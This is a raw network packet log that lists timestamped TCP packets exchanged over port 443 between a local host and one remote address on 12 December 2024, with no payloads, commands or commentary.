Dec 12, 2024 12:59:34.261279106 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.261310101 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.261364937 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.261380911 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.261406898 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.264322042 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.264386892 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.264395952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.266105890 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.266160965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.266170025 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.269861937 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.271364927 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.271406889 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.271420956 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.271430016 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.271451950 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.278554916 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.278580904 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.278619051 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.278630972 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.278666019 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.280673981 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.280726910 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.424034119 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.424063921 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.424109936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.424125910 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.424141884 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.424155951 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.431143045 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.431170940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.431221962 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.431232929 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.431262016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.431281090 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.437652111 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.437725067 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.437742949 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.437905073 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.444099903 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.444123983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.444171906 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.444184065 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.444195032 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.444216013 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.451417923 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.451442003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.451489925 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.451503038 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.451523066 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.451543093 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.458182096 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.458209038 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.458270073 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.458283901 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.461869955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.465440989 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.465466976 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.465507984 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.465514898 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.465560913 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.468086958 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.473166943 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.473218918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.473232031 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.473238945 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.473268032 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.473280907 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.615271091 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.615303040 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.615345001 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.615360022 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.615386963 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.615401030 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.622394085 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.622433901 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.622463942 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.622472048 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.622509003 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.629669905 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.629687071 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.629757881 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.629770041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.629859924 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.636142969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.636157990 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.636215925 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.636225939 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.636255980 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.643452883 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.643470049 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.643531084 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.643541098 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.643573046 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.650235891 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.650252104 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.650295973 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.650305986 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.650340080 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.657552004 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.657601118 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.657612085 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.657619953 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.657660007 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.665080070 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.665097952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.665146112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.665153980 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.665189981 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.807662010 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.807691097 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.807796001 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.807796001 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.807813883 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.807935953 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.814569950 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.814593077 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.814656973 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.814656973 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.814666986 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.814755917 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.822643042 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.822659969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.822798967 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.822808981 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.822925091 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.828366995 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.828382969 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.828578949 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.828588009 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.828931093 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.835694075 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.835711002 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.835767031 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.835782051 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.835876942 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.843060970 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.843076944 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.843137026 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.843152046 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.843328953 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.849674940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.849692106 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.849778891 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.849778891 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.849790096 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.849879980 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.856962919 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.856978893 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.857034922 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.857050896 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.857089996 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.857089996 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.999613047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.999634981 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:34.999747038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.999747038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:34.999761105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.000190020 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.008141041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.008163929 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.008198977 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.008215904 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.008255959 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.008255959 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.014029980 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.014050007 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.014096022 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.014111042 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.014147997 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.014147997 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.021576881 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.021598101 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.021676064 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.021686077 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.021749020 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.027966976 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.027981043 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.028043985 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.028059959 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.028112888 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.034606934 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.034621954 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.034686089 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.034703016 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.034768105 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.041937113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.041953087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.042469978 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.042478085 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.042603016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.049227953 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.049247026 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.049314976 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.049326897 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.049375057 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.049375057 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.455208063 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.455239058 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.455327034 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.455327034 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.455338001 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.455368996 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.456996918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.457015038 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.457062006 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.457072973 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.457091093 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.457125902 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.458075047 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.458089113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.458128929 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.458139896 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.458158970 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.458173990 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.459196091 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.459212065 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.459331036 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.459338903 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.459474087 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.460212946 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.460228920 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.460315943 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.460325003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.461097956 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.461117983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.461175919 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.461184978 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.461196899 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.461905003 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.464102030 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.464118958 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.464245081 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.464255095 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.464317083 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.466336012 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.466351986 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.466393948 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.466402054 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.466440916 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.466440916 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.483042002 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.483071089 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.483176947 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.483189106 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.484000921 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.484026909 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.484071016 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.484080076 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.484102011 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.484308004 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.485096931 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.485116005 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.485193014 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.485193014 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.485203028 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.486213923 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.486238003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.486268997 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.486275911 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.486299038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.486349106 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.487078905 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.487102032 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.487137079 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.487142086 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.487179041 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.487179041 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.488883972 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.488925934 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.488964081 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.488970995 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.489016056 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.489016056 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.489434958 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.490453959 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.490482092 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.490535975 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.490556002 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.490578890 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.490643024 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.493412018 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.493442059 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.493508101 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.493508101 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.493525028 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.493678093 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.577039003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.577063084 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.577178001 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.577178001 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.577195883 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.577271938 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.584445000 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.584461927 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.584583044 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.584590912 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.584631920 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.590759039 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.590774059 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.590825081 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.590831041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.590873957 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.590873957 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.597883940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.597899914 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.597980976 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.597980976 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.597986937 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.598035097 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.605798960 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.605817080 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.605865955 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.605871916 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.605911970 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.605940104 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.612030983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.612049103 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.612102985 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.612107992 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.612117052 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.612181902 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.619467020 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.619483948 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.619537115 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.619545937 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.619632959 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.625727892 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.625742912 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.625780106 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.625792980 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.625818014 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.625847101 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.769087076 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.769114971 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.769228935 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.769244909 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:35.769406080 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:35.773794889 CET	443	49878	172.65.251.78	192.168.2.6
